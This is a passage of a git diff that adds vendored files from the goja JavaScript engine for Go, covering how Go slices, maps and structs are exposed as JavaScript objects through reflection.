idx.string() + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); !ok { + o.val.runtime.typeErrorResult(throw, "Can't set property '%s' on Go slice", name) + return false + } else { + return res + } + } +} + +func (o *objectGoArrayReflect) setOwnStr(name unistring.String, val Value, throw bool) bool { + if idx := strToGoIdx(name); idx >= 0 { + if idx >= o.fieldsValue.Len() { + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); ok { + return res + } + } + return o.putIdx(idx, val, throw) + } else { + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); !ok { + o.val.runtime.typeErrorResult(throw, "Can't set property '%s' on Go slice", name) + return false + } else { + return res + } + } +} + +func (o *objectGoArrayReflect) setForeignIdx(idx valueInt, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignIdx(idx, trueValIfPresent(o._hasIdx(idx)), val, receiver, throw) +} + +func (o *objectGoArrayReflect) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignStr(name, trueValIfPresent(o.hasOwnPropertyStr(name)), val, receiver, throw) +} + +func (o *objectGoArrayReflect) hasOwnPropertyIdx(idx valueInt) bool { + return o._hasIdx(idx) +} + +func (o *objectGoArrayReflect) hasOwnPropertyStr(name unistring.String) bool { + if o._hasStr(name) || name == "length" { + return true + } + return o.objectGoReflect.hasOwnPropertyStr(name) +} + +func (o *objectGoArrayReflect) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + if i := toIntStrict(int64(idx)); i >= 0 { + if !o.val.runtime.checkHostObjectPropertyDescr(idx.string(), descr, throw) { + return false + } + val := descr.Value + if val == nil { + val = _undefined + } + return o.putIdx(i, val, throw) + } + o.val.runtime.typeErrorResult(throw, "Cannot define property '%d' on a Go slice", idx) + return false +} + +func (o *objectGoArrayReflect) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if idx := strToGoIdx(name); idx >= 0 { + if !o.val.runtime.checkHostObjectPropertyDescr(name, descr, throw) { + return false + } + val := descr.Value + if val == nil { + val = _undefined + } + return o.putIdx(idx, val, throw) + } + o.val.runtime.typeErrorResult(throw, "Cannot define property '%s' on a Go slice", name) + return false +} + +func (o *objectGoArrayReflect) _deleteIdx(idx int) { + if idx < o.fieldsValue.Len() { + if cv := o.valueCache.get(idx); cv != nil { + copyReflectValueWrapper(cv) + o.valueCache[idx] = nil + } + + o.fieldsValue.Index(idx).Set(reflect.Zero(o.fieldsValue.Type().Elem())) + } +} + +func (o *objectGoArrayReflect) deleteStr(name unistring.String, throw bool) bool { + if idx := strToGoIdx(name); idx >= 0 { + o._deleteIdx(idx) + return true + } + + return o.objectGoReflect.deleteStr(name, throw) +} + +func (o *objectGoArrayReflect) deleteIdx(i valueInt, throw bool) bool { + idx := toIntStrict(int64(i)) + if idx >= 0 { + o._deleteIdx(idx) + } + return true +} + +type goArrayReflectPropIter struct { + o *objectGoArrayReflect + idx, limit int +} + +func (i *goArrayReflectPropIter) next() (propIterItem, iterNextFunc) { + if i.idx < i.limit && i.idx < i.o.fieldsValue.Len() { + name := strconv.Itoa(i.idx) + i.idx++ + return propIterItem{name: asciiString(name), enumerable: _ENUM_TRUE}, i.next + } + + return i.o.objectGoReflect.iterateStringKeys()() +} + +func (o *objectGoArrayReflect) stringKeys(all bool, accum []Value) []Value { + for i := 0; i < o.fieldsValue.Len(); i++ { + accum = append(accum, asciiString(strconv.Itoa(i))) + } + + return o.objectGoReflect.stringKeys(all, accum) +} + +func (o *objectGoArrayReflect) iterateStringKeys() iterNextFunc { + return (&goArrayReflectPropIter{ + o: o, + limit: o.fieldsValue.Len(), + }).next +} + +func (o *objectGoArrayReflect) sortLen() int { + return o.fieldsValue.Len() +} + +func (o *objectGoArrayReflect) sortGet(i int) Value { + return o.getIdx(valueInt(i), nil) +} + +func (o *objectGoArrayReflect) swap(i int, j int) { + vi := o.fieldsValue.Index(i) + vj := o.fieldsValue.Index(j) + tmp := reflect.New(o.fieldsValue.Type().Elem()).Elem() + tmp.Set(vi) + vi.Set(vj) + vj.Set(tmp) + + cachedI := o.valueCache.get(i) + cachedJ := o.valueCache.get(j) + if cachedI != nil { + cachedI.setReflectValue(vj) + o.valueCache.put(j, cachedI) + } else { + if j < len(o.valueCache) { + o.valueCache[j] = nil + } + } + + if cachedJ != nil { + cachedJ.setReflectValue(vi) + o.valueCache.put(i, cachedJ) + } else { + if i < len(o.valueCache) { + o.valueCache[i] = nil + } + } +} diff --git a/backend/vendor/github.com/dop251/goja/object_gomap.go b/backend/vendor/github.com/dop251/goja/object_gomap.go new file mode 100644 index 0000000..82138c2 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_gomap.go @@ -0,0 +1,158 @@ +package goja + +import ( + "reflect" + + "github.com/dop251/goja/unistring" +) + +type objectGoMapSimple struct { + baseObject + data map[string]interface{} +} + +func (o *objectGoMapSimple) init() { + o.baseObject.init() + o.prototype = o.val.runtime.global.ObjectPrototype + o.class = classObject + o.extensible = true +} + +func (o *objectGoMapSimple) _getStr(name string) Value { + v, exists := o.data[name] + if !exists { + return nil + } + return o.val.runtime.ToValue(v) +} + +func (o *objectGoMapSimple) getStr(name unistring.String, receiver Value) Value { + if v := o._getStr(name.String()); v != nil { + return v + } + return o.baseObject.getStr(name, receiver) +} + +func (o *objectGoMapSimple) getOwnPropStr(name unistring.String) Value { + if v := o._getStr(name.String()); v != nil { + return v + } + return nil +} + +func (o *objectGoMapSimple) setOwnStr(name unistring.String, val Value, throw bool) bool { + n := name.String() + if _, exists := o.data[n]; exists { + o.data[n] = val.Export() + return true + } + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, ok := proto.self.setForeignStr(name, val, o.val, throw); ok { + return res + } + } + // new property + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "Cannot add property %s, object is not extensible", name) + return false + } else { + o.data[n] = val.Export() + } + return true +} + +func trueValIfPresent(present bool) Value { + if present { + return valueTrue + } + return nil +} + +func (o *objectGoMapSimple) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignStr(name, trueValIfPresent(o._hasStr(name.String())), val, receiver, throw) +} + +func (o *objectGoMapSimple) _hasStr(name string) bool { + _, exists := o.data[name] + return exists +} + +func (o *objectGoMapSimple) hasOwnPropertyStr(name unistring.String) bool { + return o._hasStr(name.String()) +} + +func (o *objectGoMapSimple) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if !o.val.runtime.checkHostObjectPropertyDescr(name, descr, throw) { + return false + } + + n := name.String() + if o.extensible || o._hasStr(n) { + o.data[n] = descr.Value.Export() + return true + } + + o.val.runtime.typeErrorResult(throw, "Cannot define property %s, object is not extensible", n) + return false +} + +func (o *objectGoMapSimple) deleteStr(name unistring.String, _ bool) bool { + delete(o.data, name.String()) + return true +} + +type gomapPropIter struct { + o *objectGoMapSimple + propNames []string + idx int +} + +func (i *gomapPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.propNames) { + name := i.propNames[i.idx] + i.idx++ + if _, exists := i.o.data[name]; exists { + return propIterItem{name: newStringValue(name), enumerable: _ENUM_TRUE}, i.next + } + } + + return propIterItem{}, nil +} + +func (o *objectGoMapSimple) iterateStringKeys() iterNextFunc { + propNames := make([]string, len(o.data)) + i := 0 + for key := range o.data { + propNames[i] = key + i++ + } + + return (&gomapPropIter{ + o: o, + propNames: propNames, + }).next +} + +func (o *objectGoMapSimple) stringKeys(_ bool, accum []Value) []Value { + // all own keys are enumerable + for key := range o.data { + accum = append(accum, newStringValue(key)) + } + return accum +} + +func (o *objectGoMapSimple) export(*objectExportCtx) interface{} { + return o.data +} + +func (o *objectGoMapSimple) exportType() reflect.Type { + return reflectTypeMap +} + +func (o *objectGoMapSimple) equal(other objectImpl) bool { + if other, ok := other.(*objectGoMapSimple); ok { + return o == other + } + return false +} diff --git a/backend/vendor/github.com/dop251/goja/object_gomap_reflect.go b/backend/vendor/github.com/dop251/goja/object_gomap_reflect.go new file mode 100644 index 0000000..d4c1a06 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_gomap_reflect.go @@ -0,0 +1,294 @@ +package goja + +import ( + "fmt" + "reflect" + + "github.com/dop251/goja/unistring" +) + +type objectGoMapReflect struct { + objectGoReflect + + keyType, valueType reflect.Type +} + +func (o *objectGoMapReflect) init() { + o.objectGoReflect.init() + o.keyType = o.fieldsValue.Type().Key() + o.valueType = o.fieldsValue.Type().Elem() +} + +func (o *objectGoMapReflect) toKey(n Value, throw bool) reflect.Value { + key := reflect.New(o.keyType).Elem() + err := o.val.runtime.toReflectValue(n, key, &objectExportCtx{}) + if err != nil { + o.val.runtime.typeErrorResult(throw, "map key conversion error: %v", err) + return reflect.Value{} + } + return key +} + +func (o *objectGoMapReflect) strToKey(name string, throw bool) reflect.Value { + if o.keyType.Kind() == reflect.String { + return reflect.ValueOf(name).Convert(o.keyType) + } + return o.toKey(newStringValue(name), throw) +} + +func (o *objectGoMapReflect) _getKey(key reflect.Value) Value { + if !key.IsValid() { + return nil + } + if v := o.fieldsValue.MapIndex(key); v.IsValid() { + rv := v + if rv.Kind() == reflect.Interface { + rv = rv.Elem() + } + return o.val.runtime.toValue(v.Interface(), rv) + } + + return nil +} + +func (o *objectGoMapReflect) _get(n Value) Value { + return o._getKey(o.toKey(n, false)) +} + +func (o *objectGoMapReflect) _getStr(name string) Value { + return o._getKey(o.strToKey(name, false)) +} + +func (o *objectGoMapReflect) getStr(name unistring.String, receiver Value) Value { + if v := o._getStr(name.String()); v != nil { + return v + } + return o.objectGoReflect.getStr(name, receiver) +} + +func (o *objectGoMapReflect) getIdx(idx valueInt, receiver Value) Value { + if v := o._get(idx); v != nil { + return v + } + return o.objectGoReflect.getIdx(idx, receiver) +} + +func (o *objectGoMapReflect) getOwnPropStr(name unistring.String) Value { + if v := o._getStr(name.String()); v != nil { + return &valueProperty{ + value: v, + writable: true, + enumerable: true, + } + } + return o.objectGoReflect.getOwnPropStr(name) +} + +func (o *objectGoMapReflect) getOwnPropIdx(idx valueInt) Value { + if v := o._get(idx); v != nil { + return &valueProperty{ + value: v, + writable: true, + enumerable: true, + } + } + return o.objectGoReflect.getOwnPropStr(idx.string()) +} + +func (o *objectGoMapReflect) toValue(val Value, throw bool) (reflect.Value, bool) { + v := reflect.New(o.valueType).Elem() + err := o.val.runtime.toReflectValue(val, v, &objectExportCtx{}) + if err != nil { + o.val.runtime.typeErrorResult(throw, "map value conversion error: %v", err) + return reflect.Value{}, false + } + + return v, true +} + +func (o *objectGoMapReflect) _put(key reflect.Value, val Value, throw bool) bool { + if key.IsValid() { + if o.extensible || o.fieldsValue.MapIndex(key).IsValid() { + v, ok := o.toValue(val, throw) + if !ok { + return false + } + o.fieldsValue.SetMapIndex(key, v) + } else { + o.val.runtime.typeErrorResult(throw, "Cannot set property %v, object is not extensible", key) + return false + } + return true + } + return false +} + +func (o *objectGoMapReflect) setOwnStr(name unistring.String, val Value, throw bool) bool { + n := name.String() + key := o.strToKey(n, false) + if !key.IsValid() || !o.fieldsValue.MapIndex(key).IsValid() { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, ok := proto.self.setForeignStr(name, val, o.val, throw); ok { + return res + } + } + // new property + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "Cannot add property %s, object is not extensible", n) + return false + } else { + if throw && !key.IsValid() { + o.strToKey(n, true) + return false + } + } + } + o._put(key, val, throw) + return true +} + +func (o *objectGoMapReflect) setOwnIdx(idx valueInt, val Value, throw bool) bool { + key := o.toKey(idx, false) + if !key.IsValid() || !o.fieldsValue.MapIndex(key).IsValid() { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, ok := proto.self.setForeignIdx(idx, val, o.val, throw); ok { + return res + } + } + // new property + if !o.extensible { + o.val.runtime.typeErrorResult(throw, "Cannot add property %d, object is not extensible", idx) + return false + } else { + if throw && !key.IsValid() { + o.toKey(idx, true) + return false + } + } + } + o._put(key, val, throw) + return true +} + +func (o *objectGoMapReflect) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignStr(name, trueValIfPresent(o.hasOwnPropertyStr(name)), val, receiver, throw) +} + +func (o *objectGoMapReflect) setForeignIdx(idx valueInt, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignIdx(idx, trueValIfPresent(o.hasOwnPropertyIdx(idx)), val, receiver, throw) +} + +func (o *objectGoMapReflect) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if !o.val.runtime.checkHostObjectPropertyDescr(name, descr, throw) { + return false + } + + return o._put(o.strToKey(name.String(), throw), descr.Value, throw) +} + +func (o *objectGoMapReflect) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + if !o.val.runtime.checkHostObjectPropertyDescr(idx.string(), descr, throw) { + return false + } + + return o._put(o.toKey(idx, throw), descr.Value, throw) +} + +func (o *objectGoMapReflect) hasOwnPropertyStr(name unistring.String) bool { + key := o.strToKey(name.String(), false) + if key.IsValid() && o.fieldsValue.MapIndex(key).IsValid() { + return true + } + return false +} + +func (o *objectGoMapReflect) hasOwnPropertyIdx(idx valueInt) bool { + key := o.toKey(idx, false) + if key.IsValid() && o.fieldsValue.MapIndex(key).IsValid() { + return true + } + return false +} + +func (o *objectGoMapReflect) deleteStr(name unistring.String, throw bool) bool { + key := o.strToKey(name.String(), throw) + if !key.IsValid() { + return false + } + o.fieldsValue.SetMapIndex(key, reflect.Value{}) + return true +} + +func (o *objectGoMapReflect) deleteIdx(idx valueInt, throw bool) bool { + key := o.toKey(idx, throw) + if !key.IsValid() { + return false + } + o.fieldsValue.SetMapIndex(key, reflect.Value{}) + return true +} + +type gomapReflectPropIter struct { + o *objectGoMapReflect + keys []reflect.Value + idx int +} + +func (i *gomapReflectPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.keys) { + key := i.keys[i.idx] + v := i.o.fieldsValue.MapIndex(key) + i.idx++ + if v.IsValid() { + return propIterItem{name: i.o.keyToString(key), enumerable: _ENUM_TRUE}, i.next + } + } + + return propIterItem{}, nil +} + +func (o *objectGoMapReflect) iterateStringKeys() iterNextFunc { + return (&gomapReflectPropIter{ + o: o, + keys: o.fieldsValue.MapKeys(), + }).next +} + +func (o *objectGoMapReflect) stringKeys(_ bool, accum []Value) []Value { + // all own keys are enumerable + for _, key := range o.fieldsValue.MapKeys() { + accum = append(accum, o.keyToString(key)) + } + + return accum +} + +func (*objectGoMapReflect) keyToString(key reflect.Value) String { + kind := key.Kind() + + if kind == reflect.String { + return newStringValue(key.String()) + } + + str := fmt.Sprintf("%v", key) + + switch kind { + case reflect.Int, + reflect.Int8, + reflect.Int16, + reflect.Int32, + reflect.Int64, + reflect.Uint, + reflect.Uint8, + reflect.Uint16, + reflect.Uint32, + reflect.Uint64, + reflect.Float32, + reflect.Float64: + return asciiString(str) + default: + return newStringValue(str) + } +} diff --git a/backend/vendor/github.com/dop251/goja/object_goreflect.go b/backend/vendor/github.com/dop251/goja/object_goreflect.go new file mode 100644 index 0000000..f5b5e8f --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_goreflect.go @@ -0,0 +1,677 @@ +package goja + +import ( + "fmt" + "go/ast" + "reflect" + "strings" + + "github.com/dop251/goja/parser" + "github.com/dop251/goja/unistring" +) + +// JsonEncodable allows custom JSON encoding by JSON.stringify() +// Note that if the returned value itself also implements JsonEncodable, it won't have any effect. +type JsonEncodable interface { + JsonEncodable() interface{} +} + +// FieldNameMapper provides custom mapping between Go and JavaScript property names. +type FieldNameMapper interface { + // FieldName returns a JavaScript name for the given struct field in the given type. + // If this method returns "" the field becomes hidden. + FieldName(t reflect.Type, f reflect.StructField) string + + // MethodName returns a JavaScript name for the given method in the given type. + // If this method returns "" the method becomes hidden. + MethodName(t reflect.Type, m reflect.Method) string +} + +type tagFieldNameMapper struct { + tagName string + uncapMethods bool +} + +func (tfm tagFieldNameMapper) FieldName(_ reflect.Type, f reflect.StructField) string { + tag := f.Tag.Get(tfm.tagName) + if idx := strings.IndexByte(tag, ','); idx != -1 { + tag = tag[:idx] + } + if parser.IsIdentifier(tag) { + return tag + } + return "" +} + +func uncapitalize(s string) string { + return strings.ToLower(s[0:1]) + s[1:] +} + +func (tfm tagFieldNameMapper) MethodName(_ reflect.Type, m reflect.Method) string { + if tfm.uncapMethods { + return uncapitalize(m.Name) + } + return m.Name +} + +type uncapFieldNameMapper struct { +} + +func (u uncapFieldNameMapper) FieldName(_ reflect.Type, f reflect.StructField) string { + return uncapitalize(f.Name) +} + +func (u uncapFieldNameMapper) MethodName(_ reflect.Type, m reflect.Method) string { + return uncapitalize(m.Name) +} + +type reflectFieldInfo struct { + Index []int + Anonymous bool +} + +type reflectFieldsInfo struct { + Fields map[string]reflectFieldInfo + Names []string +} + +type reflectMethodsInfo struct { + Methods map[string]int + Names []string +} + +type reflectValueWrapper interface { + esValue() Value + reflectValue() reflect.Value + setReflectValue(reflect.Value) +} + +func isContainer(k reflect.Kind) bool { + switch k { + case reflect.Struct, reflect.Slice, reflect.Array: + return true + } + return false +} + +func copyReflectValueWrapper(w reflectValueWrapper) { + v := w.reflectValue() + c := reflect.New(v.Type()).Elem() + c.Set(v) + w.setReflectValue(c) +} + +type objectGoReflect struct { + baseObject + origValue, fieldsValue reflect.Value + + fieldsInfo *reflectFieldsInfo + methodsInfo *reflectMethodsInfo + + methodsValue reflect.Value + + valueCache map[string]reflectValueWrapper + + toString, valueOf func() Value + + toJson func() interface{} +} + +func (o *objectGoReflect) init() { + o.baseObject.init() + switch o.fieldsValue.Kind() { + case reflect.Bool: + o.class = classBoolean + o.prototype = o.val.runtime.getBooleanPrototype() + o.toString = o._toStringBool + o.valueOf = o._valueOfBool + case reflect.String: + o.class = classString + o.prototype = o.val.runtime.getStringPrototype() + o.toString = o._toStringString + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + o.class = classNumber + o.prototype = o.val.runtime.getNumberPrototype() + o.valueOf = o._valueOfInt + case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: + o.class = classNumber + o.prototype = o.val.runtime.getNumberPrototype() + o.valueOf = o._valueOfUint + case reflect.Float32, reflect.Float64: + o.class = classNumber + o.prototype = o.val.runtime.getNumberPrototype() + o.valueOf = o._valueOfFloat + default: + o.class = classObject + o.prototype = o.val.runtime.global.ObjectPrototype + } + + if o.fieldsValue.Kind() == reflect.Struct { + o.fieldsInfo = o.val.runtime.fieldsInfo(o.fieldsValue.Type()) + } + + var methodsType reflect.Type + // Always use pointer type for non-interface values to be able to access both methods defined on + // the literal type and on the pointer. + if o.fieldsValue.Kind() != reflect.Interface { + methodsType = reflect.PtrTo(o.fieldsValue.Type()) + } else { + methodsType = o.fieldsValue.Type() + } + + o.methodsInfo = o.val.runtime.methodsInfo(methodsType) + + // Container values and values that have at least one method defined on the pointer type + // need to be addressable. + if !o.origValue.CanAddr() && (isContainer(o.origValue.Kind()) || len(o.methodsInfo.Names) > 0) { + value := reflect.New(o.origValue.Type()).Elem() + value.Set(o.origValue) + o.origValue = value + if value.Kind() != reflect.Ptr { + o.fieldsValue = value + } + } + + o.extensible = true + + switch o.origValue.Interface().(type) { + case fmt.Stringer: + o.toString = o._toStringStringer + case error: + o.toString = o._toStringError + } + + if len(o.methodsInfo.Names) > 0 && o.fieldsValue.Kind() != reflect.Interface { + o.methodsValue = o.fieldsValue.Addr() + } else { + o.methodsValue = o.fieldsValue + } + + if j, ok := o.origValue.Interface().(JsonEncodable); ok { + o.toJson = j.JsonEncodable + } +} + +func (o *objectGoReflect) getStr(name unistring.String, receiver Value) Value { + if v := o._get(name.String()); v != nil { + return v + } + return o.baseObject.getStr(name, receiver) +} + +func (o *objectGoReflect) _getField(jsName string) reflect.Value { + if o.fieldsInfo != nil { + if info, exists := o.fieldsInfo.Fields[jsName]; exists { + return o.fieldsValue.FieldByIndex(info.Index) + } + } + + return reflect.Value{} +} + +func (o *objectGoReflect) _getMethod(jsName string) reflect.Value { + if o.methodsInfo != nil { + if idx, exists := o.methodsInfo.Methods[jsName]; exists { + return o.methodsValue.Method(idx) + } + } + + return reflect.Value{} +} + +func (o *objectGoReflect) elemToValue(ev reflect.Value) (Value, reflectValueWrapper) { + if isContainer(ev.Kind()) { + if ev.CanAddr() { + ev = ev.Addr() + } + ret := o.val.runtime.toValue(ev.Interface(), ev) + if obj, ok := ret.(*Object); ok { + if w, ok := obj.self.(reflectValueWrapper); ok { + return ret, w + } + } + return ret, nil + } + + if ev.Kind() == reflect.Interface { + ev = ev.Elem() + } + + if ev.Kind() == reflect.Invalid { + return _null, nil + } + + return o.val.runtime.toValue(ev.Interface(), ev), nil +} + +func (o *objectGoReflect) _getFieldValue(name string) Value { + if v := o.valueCache[name]; v != nil { + return v.esValue() + } + if v := o._getField(name); v.IsValid() { + res, w := o.elemToValue(v) + if w != nil { + if o.valueCache == nil { + o.valueCache = make(map[string]reflectValueWrapper) + } + o.valueCache[name] = w + } + return res + } + return nil +} + +func (o *objectGoReflect) _get(name string) Value { + if o.fieldsValue.Kind() == reflect.Struct { + if ret := o._getFieldValue(name); ret != nil { + return ret + } + } + + if v := o._getMethod(name); v.IsValid() { + return o.val.runtime.toValue(v.Interface(), v) + } + + return nil +} + +func (o *objectGoReflect) getOwnPropStr(name unistring.String) Value { + n := name.String() + if o.fieldsValue.Kind() == reflect.Struct { + if v := o._getFieldValue(n); v != nil { + return &valueProperty{ + value: v, + writable: true, + enumerable: true, + } + } + } + + if v := o._getMethod(n); v.IsValid() { + return &valueProperty{ + value: o.val.runtime.toValue(v.Interface(), v), + enumerable: true, + } + } + + return o.baseObject.getOwnPropStr(name) +} + +func (o *objectGoReflect) setOwnStr(name unistring.String, val Value, throw bool) bool { + has, ok := o._put(name.String(), val, throw) + if !has { + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); !ok { + o.val.runtime.typeErrorResult(throw, "Cannot assign to property %s of a host object", name) + return false + } else { + return res + } + } + return ok +} + +func (o *objectGoReflect) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignStr(name, trueValIfPresent(o._has(name.String())), val, receiver, throw) +} + +func (o *objectGoReflect) setForeignIdx(idx valueInt, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignIdx(idx, nil, val, receiver, throw) +} + +func (o *objectGoReflect) _put(name string, val Value, throw bool) (has, ok bool) { + if o.fieldsValue.Kind() == reflect.Struct { + if v := o._getField(name); v.IsValid() { + cached := o.valueCache[name] + if cached != nil { + copyReflectValueWrapper(cached) + } + + err := o.val.runtime.toReflectValue(val, v, &objectExportCtx{}) + if err != nil { + if cached != nil { + cached.setReflectValue(v) + } + o.val.runtime.typeErrorResult(throw, "Go struct conversion error: %v", err) + return true, false + } + if cached != nil { + delete(o.valueCache, name) + } + return true, true + } + } + return false, false +} + +func (o *objectGoReflect) _putProp(name unistring.String, value Value, writable, enumerable, configurable bool) Value { + if _, ok := o._put(name.String(), value, false); ok { + return value + } + return o.baseObject._putProp(name, value, writable, enumerable, configurable) +} + +func (r *Runtime) checkHostObjectPropertyDescr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if descr.Getter != nil || descr.Setter != nil { + r.typeErrorResult(throw, "Host objects do not support accessor properties") + return false + } + if descr.Writable == FLAG_FALSE { + r.typeErrorResult(throw, "Host object field %s cannot be made read-only", name) + return false + } + if descr.Configurable == FLAG_TRUE { + r.typeErrorResult(throw, "Host object field %s cannot be made configurable", name) + return false + } + return true +} + +func (o *objectGoReflect) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if o.val.runtime.checkHostObjectPropertyDescr(name, descr, throw) { + n := name.String() + if has, ok := o._put(n, descr.Value, throw); !has { + o.val.runtime.typeErrorResult(throw, "Cannot define property '%s' on a host object", n) + return false + } else { + return ok + } + } + return false +} + +func (o *objectGoReflect) _has(name string) bool { + if o.fieldsValue.Kind() == reflect.Struct { + if v := o._getField(name); v.IsValid() { + return true + } + } + if v := o._getMethod(name); v.IsValid() { + return true + } + return false +} + +func (o *objectGoReflect) hasOwnPropertyStr(name unistring.String) bool { + return o._has(name.String()) || o.baseObject.hasOwnPropertyStr(name) +} + +func (o *objectGoReflect) _valueOfInt() Value { + return intToValue(o.fieldsValue.Int()) +} + +func (o *objectGoReflect) _valueOfUint() Value { + return intToValue(int64(o.fieldsValue.Uint())) +} + +func (o *objectGoReflect) _valueOfBool() Value { + if o.fieldsValue.Bool() { + return valueTrue + } else { + return valueFalse + } +} + +func (o *objectGoReflect) _valueOfFloat() Value { + return floatToValue(o.fieldsValue.Float()) +} + +func (o *objectGoReflect) _toStringStringer() Value { + return newStringValue(o.origValue.Interface().(fmt.Stringer).String()) +} + +func (o *objectGoReflect) _toStringString() Value { + return newStringValue(o.fieldsValue.String()) +} + +func (o *objectGoReflect) _toStringBool() Value { + if o.fieldsValue.Bool() { + return stringTrue + } else { + return stringFalse + } +} + +func (o *objectGoReflect) _toStringError() Value { + return newStringValue(o.origValue.Interface().(error).Error()) +} + +func (o *objectGoReflect) deleteStr(name unistring.String, throw bool) bool { + n := name.String() + if o._has(n) { + o.val.runtime.typeErrorResult(throw, "Cannot delete property %s from a Go type", n) + return false + } + return o.baseObject.deleteStr(name, throw) +} + +type goreflectPropIter struct { + o *objectGoReflect + idx int +} + +func (i *goreflectPropIter) nextField() (propIterItem, iterNextFunc) { + names := i.o.fieldsInfo.Names + if i.idx < len(names) { + name := names[i.idx] + i.idx++ + return propIterItem{name: newStringValue(name), enumerable: _ENUM_TRUE}, i.nextField + } + + i.idx = 0 + return i.nextMethod() +} + +func (i *goreflectPropIter) nextMethod() (propIterItem, iterNextFunc) { + names := i.o.methodsInfo.Names + if i.idx < len(names) { + name := names[i.idx] + i.idx++ + return propIterItem{name: newStringValue(name), enumerable: _ENUM_TRUE}, i.nextMethod + } + + return propIterItem{}, nil +} + +func (o *objectGoReflect) iterateStringKeys() iterNextFunc { + r := &goreflectPropIter{ + o: o, + } + if o.fieldsInfo != nil { + return r.nextField + } + + return r.nextMethod +} + +func (o *objectGoReflect) stringKeys(_ bool, accum []Value) []Value { + // all own keys are enumerable + if o.fieldsInfo != nil { + for _, name := range o.fieldsInfo.Names { + accum = append(accum, newStringValue(name)) + } + } + + for _, name := range o.methodsInfo.Names { + accum = append(accum, newStringValue(name)) + } + + return accum +} + +func (o *objectGoReflect) export(*objectExportCtx) interface{} { + return o.origValue.Interface() +} + +func (o *objectGoReflect) exportType() reflect.Type { + return o.origValue.Type() +} + +func (o *objectGoReflect) equal(other objectImpl) bool { + if other, ok := other.(*objectGoReflect); ok { + k1, k2 := o.fieldsValue.Kind(), other.fieldsValue.Kind() + if k1 == k2 { + if isContainer(k1) { + return o.fieldsValue == other.fieldsValue + } + return o.fieldsValue.Interface() == other.fieldsValue.Interface() + } + } + return false +} + +func (o *objectGoReflect) reflectValue() reflect.Value { + return o.fieldsValue +} + +func (o *objectGoReflect) setReflectValue(v reflect.Value) { + o.fieldsValue = v + o.origValue = v + o.methodsValue = v.Addr() +} + +func (o *objectGoReflect) esValue() Value { + return o.val +} + +func (r *Runtime) buildFieldInfo(t reflect.Type, index []int, info *reflectFieldsInfo) { + n := t.NumField() + for i := 0; i < n; i++ { + field := t.Field(i) + name := field.Name + isExported := ast.IsExported(name) + + if !isExported && !field.Anonymous { + continue + } + + if r.fieldNameMapper != nil { + name = r.fieldNameMapper.FieldName(t, field) + } + + if name != "" && isExported { + if inf, exists := info.Fields[name]; !exists { + info.Names = append(info.Names, name) + } else { + if len(inf.Index) <= len(index) { + continue + } + } + } + + if name != "" || field.Anonymous { + idx := make([]int, len(index)+1) + copy(idx, index) + idx[len(idx)-1] = i + + if name != "" && isExported { + info.Fields[name] = reflectFieldInfo{ + Index: idx, + Anonymous: field.Anonymous, + } + } + if field.Anonymous { + typ := field.Type + for typ.Kind() == reflect.Ptr { + typ = typ.Elem() + } + if typ.Kind() == reflect.Struct { + r.buildFieldInfo(typ, idx, info) + } + } + } + } +} + +var emptyMethodsInfo = reflectMethodsInfo{} + +func (r *Runtime) buildMethodsInfo(t reflect.Type) (info *reflectMethodsInfo) { + n := t.NumMethod() + if n == 0 { + return &emptyMethodsInfo + } + info = new(reflectMethodsInfo) + info.Methods = make(map[string]int, n) + info.Names = make([]string, 0, n) + for i := 0; i < n; i++ { + method := t.Method(i) + name := method.Name + if !ast.IsExported(name) { + continue + } + if r.fieldNameMapper != nil { + name = r.fieldNameMapper.MethodName(t, method) + if name == "" { + continue + } + } + + if _, exists := info.Methods[name]; !exists { + info.Names = append(info.Names, name) + } + + info.Methods[name] = i + } + return +} + +func (r *Runtime) buildFieldsInfo(t reflect.Type) (info *reflectFieldsInfo) { + info = new(reflectFieldsInfo) + n := t.NumField() + info.Fields = make(map[string]reflectFieldInfo, n) + info.Names = make([]string, 0, n) + r.buildFieldInfo(t, nil, info) + return +} + +func (r *Runtime) fieldsInfo(t reflect.Type) (info *reflectFieldsInfo) { + var exists bool + if info, exists = r.fieldsInfoCache[t]; !exists { + info = r.buildFieldsInfo(t) + if r.fieldsInfoCache == nil { + r.fieldsInfoCache = make(map[reflect.Type]*reflectFieldsInfo) + } + r.fieldsInfoCache[t] = info + } + + return +} + +func (r *Runtime) methodsInfo(t reflect.Type) (info *reflectMethodsInfo) { + var exists bool + if info, exists = r.methodsInfoCache[t]; !exists { + info = r.buildMethodsInfo(t) + if r.methodsInfoCache == nil { + r.methodsInfoCache = make(map[reflect.Type]*reflectMethodsInfo) + } + r.methodsInfoCache[t] = info + } + + return +} + +// SetFieldNameMapper sets a custom field name 